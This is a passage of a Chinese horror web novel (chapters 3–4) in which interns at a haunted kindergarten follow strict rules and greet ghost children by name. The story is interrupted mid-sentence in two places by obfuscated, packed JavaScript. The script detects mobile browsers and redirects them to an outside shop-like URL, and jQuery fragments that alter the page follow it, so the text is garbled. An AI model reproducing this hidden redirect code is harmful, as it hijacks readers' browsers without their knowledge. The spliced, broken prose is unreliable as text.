《上个鬼班[无限]》
3. 第三章
“没想到那个林老师看起来那么吓人,居然会主动给我们指位置,真是人不可貌相。”淼淼搓着胳膊上的鸡皮疙瘩低声道,目光还时不时向后瞟。
眼前是一整张巨大的教育宣传海报,顶端用鲜艳的卡通字体写着“守护童心,启迪智慧”,下面则密密麻麻印满了关于儿童认知发展、情绪管理、营养膳食等常识小贴士。
而《星芽幼儿园实习员工手册》的十条规定,就以稍小的字体穿插在这些日常内容中间,没有任何强调标注。
如果不逐行逐字仔细阅读,或者只草草扫过海报上半部分,很容易就把它忽略了。偏偏这间教室里,类似的宣传海报贴了不下五六张。
要不是那位沉默的保育老师明确点出了位置,光靠她们自己一张张找下来,恐怕看得头晕眼花也未必能发现。
赵萦君快速扫了一眼海报的排版,职业病让她下意识皱眉,重要规章制度与一般宣传材料混排,也不知道园长是怎么安排的,这对新人培训非常不利啊。
但现在不是写整改意见的时候,她收敛心神,目光聚焦在那十条规定上。
《星芽幼儿园实习员工手册》
1.实习老师须于每日上午7:30前,在班级对应入园通道处接待本班幼儿。对每位幼儿都需提供亲切微笑,并准确叫出其姓名。
2.幼儿在园期间,持续哭闹现象不得超过五分钟。否则视为当班实习老师严重失职。
3.每班配备一部工作手机,用于家校联系。当有家长来电或来信时,必须及时查看并回应,不得遗漏或忽略任何消息。
4.午餐在各自班级教室内进行。实习老师需监督并确保本班所有幼儿将餐盘内食物全部进食完毕。
5.午睡时间为12:30-14:30。此期间,必须确保您班级的每一位幼儿进入安静睡眠状态。实习老师应进行巡视,无论巡视时看到或听到任何异常,都必须保持绝对安静,不得发出任何声响。
6.幼儿离园时,必须由系统中登记在册的指定监护人亲自接领。如对接领人身份、外貌或行为存在任何疑问,应立即将幼儿带回班级教室。
7.实习老师需严格按照本班当日课表执行所有教学活动,不得私自调换、增减或变更课程内容与顺序。
8.每日上午10:00为固定教职工会议时间。所有实习老师必须准时到达园长办公室门外走廊集合,不得迟到。
9.每班每日需拍摄不少于三段反映幼儿在园生活的短视频,发送至本班家长群,视频中须确保每一位幼儿的正面清晰影像都曾被收录。
10.实习老师不得以任何形式、任何理由对幼儿造成身体或精神上的伤害。一旦发现,立即终止实习资格,并承担相应后果。
“还挺细致的。”赵萦君一目十行看完之后评价道。
淼淼逐条看完,脸色却越来越白。
在副本里,最怕遇到两种规则:一种是过于笼统,留下无数解释陷阱。另一种就是眼前这样,过于细致。后者并非没有陷阱,而是它确信你无法完美规避,迟早会触碰到某条红线。
“这……这简直是不可能完成的任务!”淼淼声音发虚道,“我们连孩子长什么样、叫什么都不知道!还有那个‘家长’的联系……万一、万一打来的不是……”
她其实没多少真正的副本经验。之前两次都是花高价被人带着躺过。这次收到这个“星芽幼儿园”的副本通知后,她悬赏了高价,却无人敢接,她便知道这次怕是不好过了。
刚才之所以主动选择来大班,也不过是直觉英俊是个深藏不露的大佬,想赌一把看能不能抱上大腿。
“不要预设困难,我们只需要逐步完成就好了。”赵萦君的语气平稳得像在做项目汇报,“第一,我们需要在9点前拿到学生名册和照片。第二,找到手机熟悉操作及家校沟通的方式方法。第三,确认今日详细课表及教学内容。”
她条理清晰的逐条分析着,淼淼混沌的思维也逐渐冷静下来,这么一拆解,似乎……也不算难?
“那我们现在开始找吧。”淼淼刚振作一点准备翻找,却被赵萦君轻轻拉住了手腕。
顺着她的目光,再次看到了角落里那尊恢复原状的“枯木雕像”,她头皮一麻,瞬间明白了赵萦君的意图。
真不愧是大佬啊……只找最快的解题方式,即便要面对那样的精神伤害,也能面不改色的。
赵萦君此刻已经迈步走了过去,淼淼看着她挺直淡定的背影,心底升起敬佩和些许勇气,也向前走了一步,随后又痛苦地闭眼,实在是太辣眼睛了。
其实赵萦君还真没觉得有受到精神冲击,这位保育老师虽然长相不佳,但配合度很高啊,在职场中已经算是很不错的同事了。
她在距离“雕像”一步之远的地方站定,轻声问道:“林老师,打扰了。我们需要在9点前完成幼儿入园接待的准备工作,请问本班的幼儿名册、照片资料,以及今日课表和家校联系手机,通常存放在哪里?您是否能给我们指一下位置?”
角落里的阴影,微不可察地凝固了下。
淼淼猛地眨了眨眼,试图驱散眼中的干涩,就在她眨眼的一刹那,“枯木雕像”消失了。
没有风声,没有残影,没有移动轨迹,它不像是跑开了,更像是原本就不存在于那个位置。
“他去哪儿了?为了不回答问题……跑这么快?”淼淼眯着眼四处张望,却再也捕捉不到那个灰褐色的轮廓,“刚才还觉得他有点好心呢……”
“不是逃跑。”赵萦君的语气带着股了然。
她径直上前,毫不犹豫地拉开了那个原本被“雕像”挡住的木质储物柜柜门。
“林老师只是在给我们让位置而已,他有点社恐。”赵萦君语气诚恳,仿佛在为一位性格内向但做事靠谱的同事说好话。
淼淼一时间竟不知道她是认真的,还是在搞抽象。
柜门内,最上面是一本硬壳文件夹,贴着标签“大班幼儿名册”,下面是一份“本周课程活动安排表”,旁边则放着一部黑色触屏手机。
赵萦君拿起那部手机,屏幕亮起,显示需要输入六位数字密码,而锁屏壁纸竟是她所在公司那熟悉的Logo。
一串数字浮现在脑海,她试探着输入,解锁成功。
主屏幕上,那个她再熟悉不过的内部通讯软件图标赫然在列,看样子也不用熟悉软件了。
“居然这么顺利就找到了!”淼淼凑了过来看着柜子里的东西,又下意识看了眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019702|194239||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墙上的挂钟,“现在才七点多!我们时间挺充裕啊。小班那边,说不定连手册都还没找到呢。”
此刻她生出了点侥幸,庆幸自己选择和英俊同队,要不然光是林老师那关,怕是都过不了。
赵萦君已经拿出那本蓝色名册翻阅着,每一页都是一个孩子的资料,左侧贴着照片,右侧是姓名、年龄等基本信息,下方则分列“性格特点”与“注意事项”。
她顿了顿,从包里摸出了自己的手机,将名册内页一页页清晰拍摄下来。完成之后,她将名册直接递给了淼淼。
因为手机外表一致,淼淼并没有觉察异常。
“给小班那组提个醒吧。”赵萦君的语气平静如常,“规则第一条要求准确叫出每个孩子的名字,他们如果现在还没有找到名册,怕是不容易过关。”
“没必要吧……”淼淼接过名册嘀咕道,“刚才他们选小班的时候,可没有一个为我们着想……”
她翻着花名册的手一顿,终于明白了赵萦君为什么会发出那样的感慨,也理解了了赵萦君为何会“好心”地提醒竞争对手。
这本“大班幼儿名册”里的照片竟然全部都是黑白的。
每一张上的孩子都在灿然微笑,但在黑白影调和过度曝光下,那些笑容显得空洞而僵硬,孩子们的眼睛也黑洞洞的,缺乏孩童应有的灵动光泽。
淼淼只是略微扫了几眼,就感到不寒而栗。
照片旁标注的性格特点也很奇怪,“喜静,畏强光”、“厌恶尖锐噪音”、“对水流声有特殊反应”、“情绪敏感,易受同伴影响”。
而“注意事项”一栏,则用加粗字体标注着:
1.幼儿对错误称呼反应剧烈,请务必确保称呼一次正确。
2.部分幼儿照片可能与当前样貌存在差异,请注意辨认。
3.严禁对幼儿表露恐惧、厌恶等负面情绪。
这哪里像是学生名册,这分明是一本……殡仪馆名册。
赵萦君还正放大着照片挨个记忆,一边看一边感叹,幼儿园为了节俭真是无所不用其极,打印照片都打成黑白的,多不吉利。
“确实要分享一下,”淼淼声音干涩,“都是同事,合作共赢嘛。”
她此刻才真正意识到这个副本的可怕,光她手上这本怕是就有不下二十个的小鬼,再加上大班的人数以及园长和林老师,她们几乎等于被鬼怪包围了。
如果只单凭她们两个单打独斗,通关的成功率确实是不高。英俊不愧是大佬,连这个都想到了。
赵萦君仍在低头专心研究那部黑色工作手机,闻言只是淡淡“嗯”了一声,丝毫没有注意到淼淼情绪的转变。
淼淼看着她冷静的侧脸,心中的恐惧竟逐渐转化为窃喜,窃喜于自己赌对了。
英俊不仅能力超强,在如此绝境中依然思路清晰,最重要的是她似乎真的保留了道德感。
和一个能力强大的好人组队,生存概率总比与几个利己主义为伍要高得多。
就在这时,一阵清脆的铃声响起,赵萦君手上的手机屏幕亮起。
不是来电,是内部通讯软件弹出的语音通话请求。
屏幕上显示的来电者名称是——
星芽幼儿园园长。
4.第四章
“规则就藏在这些海报里,至于等下要用的教具,应该也放在教室的某个柜子里,你们仔细找找。”淼淼嘴皮非常利索地复述道,目光却心神不宁地瞥向大班教室的方向。
刚才园长来电话时,她也看到了那刺眼的来电显示。
但因为这件事实在是拖不得,于是英俊主动留下来接听电话,让她过来分享情报。
一想到英俊得独自应对那个鸟人,淼淼的心就被担忧与内疚搅动着。
“真的假的?我们刚才可是把这些海报仔仔细细都看了一遍,什么也没发现。你不会是拿我们寻开心,或者……有什么别的打算吧?”鹭鸶抱着胳膊上下打量着淼淼,语气里满是不信任。
淼淼本就心焦,被质疑后语气也不由得尖锐起来:“要不是因为下一关太难,怕你们找不到名册耽误时间连累整体进度,我才懒得过来!”
“爱信不信!反正话我带到了。”她说完就想转身离开。
鳄鱼适时插话安抚道:“好了好了,多谢你的情报分享。”
“在这种地方,我们任务者确实应该互帮互助。放心,这份情我们记下了,要是你们那边遇到了什么麻烦事,我们也会尽力帮忙的。”
他的承诺虽然听起来诚恳,但眼中的审视却并未褪去。
淼淼听了,焦躁略微平复,但并未放在心上,只是胡乱点了点头。
她转头看向小班组的最后一人,白鸽从她进来后就没说话,只是沉默地沿着墙壁,用手指一寸寸抚过那些色彩刺眼的海报,仿佛在读取盲文。
就在这时,白鸽的手指在海报的某个角落顿住了:“找到了。”
他的声音不大,几人却瞬间都安静下来了,淼淼露出了“看吧”的眼神。
鳄鱼还想再向淼淼打听些更具体的细节,但她已经急不可耐地走了:“具体的你们自己看吧,我得赶紧回去了!”
鳄鱼看着她离去的背影,若有所思地摸了摸下巴。
鹭鸶凑到鳄鱼身边压低声音道:“鳄鱼哥,她这么着急会不会真有诈?或者大班那边出了什么事,她想拉我们垫背?”
“有没有诈得看了才知道。”鳄鱼语气低沉了下来,“但目前看信息应该没错的,先抓紧时间找到名册和手机,不管那边怎么样,自己手里有牌才是真的。”
他的话音刚落,一阵沉闷的、仿佛重物在地面拖行的声音从远处传来,让所有人的脊背都瞬间绷紧。
时间,似乎正在加速溜走。
淼淼几乎是撞开大班教室门冲进去的。
“英俊!你没事吧?园长说什么了?”她气喘吁吁,目光在赵萦君身上扫视,生怕看到什么可怕的伤痕或是异状。
赵萦君正站在窗边,手里还拿着那部黑色手机,神情是一贯的平静,似乎和她离开前并无差别。
见淼淼回来,她转过头语气平常道:“你走之后园长就挂断了,什么都没有发生。”
但实际上,是赵萦君主动挂断了电话,因为那通电话根本不是来自于幼儿园发放的手机,而赵萦君自带的那部。
不过这种工作上的事,她没有必要对淼淼提起。
淼淼狐疑地看向赵萦君,她张嘴还想细问,脚下却猛地传来一阵沉闷的震颤。
仿佛有体型庞大的东西,或数量极多的细小生物,正从四面八方涌来,将这个破旧的建筑团团围住。
一股深冷的寒意顺着脚底攀爬而上,淼淼不由得打了个颤。
赵萦君也感觉到了,她立刻看向墙上那个装饰钟,指针即将滑向7:30。
两人对视一眼,淼淼仓皇道:“是不是学生们到了?”
赵萦君将黑色工作手机塞进口袋,对淼淼叮嘱道:“大概率是,记得保持微笑,不要叫错名字。”
两人快步走出教室,向着手册中指示的“大班入园通道”走去。
几乎是同时,走廊另一端也传来了急促的脚步声,小班组的三个人也赶到了。
鳄鱼打头,神态紧绷,手里紧紧捏着点名册,鹭鸶跟在他身后,眼神慌乱。白鸽则走在最后,手里拿着黑色的手机,神色倒是三人中最镇定的,目光敏锐地扫视周围的环境。
两组人匆匆交换了一个紧张的眼神,迅速奔向自己的岗位。
空气中,那股无形的压力越来越重,童谣声不知何时又响了起来,像是在招魂。
赵萦君和淼淼在那扇标注着大班的小门前站定,透过门上的玻璃,她们能看到远处的铁艺栅栏门。
栅栏门外,原本空荡的街道被翻涌的雾气笼罩着。
一片片浓稠到近乎黑色的阴影,在雾中蠕动着,逐渐勾勒出无数个矮小的身影,它们拥挤在栅栏门外,悄无声息,但那股躁动不安仅凭肉眼都能觉察。
就在这时,一阵脚步声从主建筑方向传来。
杜园长出现了。
她高昂着鸟头,步履优雅地走到入口前的空地前,她没有看任务者们,而是面向栅栏门外那片阴影。
然后,她抬起了覆羽的手臂随意地挥了挥,令人惊讶的事发生了。
栅栏门外那些骚动的黑色阴影,像是被无形的力量抚平,所有细微的摩擦声戛然而止,一种绝对的寂静降临在门外。
赵萦君瞳孔微缩,将这一幕牢牢印入脑海,还得是园长啊!熊孩子见了也怕。
杜园长似乎很满意这效果,鸟喙张合道:“各位实习老师,孩子们已经等不及要见到你们了,要好好表现哦!”
她的目光扫过时,似是特意在赵萦君脸上停留了瞬,随后才转身离开。
园长一走,门外那被强压的寂静只维持了短短几秒。
紧接着,像是某种开关被打开了,铁艺栅栏门发出沉重的响声,缓缓向内打开,灰雾顺着门缝流淌进来了。
而那片黑色的“幼儿”潮水,开始朝着两侧的小门涌来。
每一步,都带着那种细密又诡异的刮擦声。
赵萦君深吸一口气,手指轻按了下口袋里那部正在震动的手机,等到震动停止,她推开了面前的门。
迎接的微笑已经僵在了她的脸上,但眼神深处,却仍冷静的可怕。
淼淼站在她侧后方半步,用尽全身力气才没有转身逃跑,只能死死盯着越来越近的那些模糊轮廓。
白鸽站在属于小班的位置上,远远望了一眼赵萦君挺直的背影,想起那些黑白照片,他的眉头微不可查地轻皱了下,但现在可不是探究的时候。
第一个孩子已经停在了规定的接待线内,而在那个孩子抬头的瞬间,小班组的三人笑意都僵在了脸上。
只见眼前的小鬼身高与寻常幼儿相仿,穿着星芽幼儿园那略显宽大的统一制服,行为动作也无异常,但那张本该镶嵌着双眸的部分,却只剩下了两个黑洞。
与此同时,旁边大班通道也传来了动静。
“怎么办?我本来就有点轻微脸盲,这下更对不上脸了。”淼淼用气音道。
她无措地翻着手上的花名册,从第一页翻到最后一页
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027738|194239||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,那些黑白照片上或微笑或呆滞的面孔,没有一张能与眼前的“孩子”对得上。
眼前的孩子下身十分正常,但它的头颅却以一种不符合常理的角度斜倾着。
更骇人的是,它额头正中的位置有一个大洞,头骨变形扭曲,像是被什么重物狠狠砸过。一片发黑的污迹覆盖了周围大半个脸颊,将五官轮廓彻底模糊。
赵萦君其实很想说自己陷入幻觉了,更看不出来了,但她谨记着自己的病情,不敢泄露口风。
思索了下,她没有强行辨认那团模糊的血污,而是微微弯下腰道:“早上好呀,是不是今天来得太匆忙啦?衣服领子都没整理好呢。”
她的语气自然得像在跟一个正常小孩儿寒暄。
说罢,她竟然当真开始给小鬼整理了领子。借着整理衣领的机会,赵萦君将小鬼身上的衣物、书包都观察了一遍,最后在制服一个不起眼的内侧边角,发现了铭牌。
“早上好啊,付子轩小朋友。”
被称作“子轩”的“孩子”身体微不可查地顿了一下,它抬起一只同样沾着污迹的小手,摸了摸刚才被整理过的衣领,然后一言不发低着头快速走了。
“这孩子还挺腼腆的。”赵萦君打趣道。
淼淼:……
她目瞪口呆看着英俊在那一团血污里掏来掏去,全程态度自然,当真像是在给一个普通小孩儿整理衣服。
淼淼只能无声给大佬比了个大拇指。
而另一边,鳄鱼将赵萦君整套操作收入眼底,他目光闪了闪,转向自己面前那个被挖了眼睛的小鬼。
不能再等了。
他学着赵萦君的思路,也蹲下身挤出一抹笑来:“怎么衣服这么乱,来,老师给你整理下。”
他刚伸出手,指尖刚要触碰到小鬼的衣领,砭骨的寒意猛地刺入他的指尖,瞬间蔓延至整只手掌。
鳄鱼反应极快,非常迅速地咬住了下唇,这才没有惨叫出声,他甚至记得规则要求的“亲切微笑”,嘴角肌肉抽搐着维持着上扬的弧度,只是那笑容比哭还难看。
他面前的小鬼极其缓慢地,将那张被血污覆盖的脸转向了他。
虽然没有眼睛,鳄鱼还是感知到了它的视线,就钉在他的脸上,似乎在审视他是否流露出了恐惧或厌恶。
鳄鱼的手掌开始不受控制地微微颤抖,额角渗出冷汗。
良久,它似乎失去了兴趣转了回去,只是转头时,它的头抖动了两下,似乎有些不耐烦了。
“那女的不对劲儿,正常人根本不可能碰这些……”鳄鱼忍着痛从牙缝挤出来声音,看向大班方向的眼神充满了惊疑和忌惮。
此刻赵萦君按部就班,已经又接待完了一个小鬼了。
白鸽将鳄鱼拉了起来,他拉的时候正巧是鳄鱼受伤的那只手,鳄鱼疼得差点骂出声,脸色铁青。
鳄鱼正准备发火,却看到他对着小鬼道:“早上好,林玥小朋友。”
林玥听到名字,似乎有些生气,不过还是顶着两个血窟窿走了。
“对了!”鹭鸶惊呼出声,“白鸽哥,你怎么知道的?”
鳄鱼看着大出风头的白鸽,无声地甩了甩自己仍旧刺痛的右手,眼神复杂。
“花名册上写了,林玥怕光。”白鸽言简意赅道,目光已经投向下一个孩子。
不过他这也是讨巧,要是碰上那种没有明显外在特征的孩子,可就不奏效了。
而沉默的“幼儿”队列,还在不断向前涌动。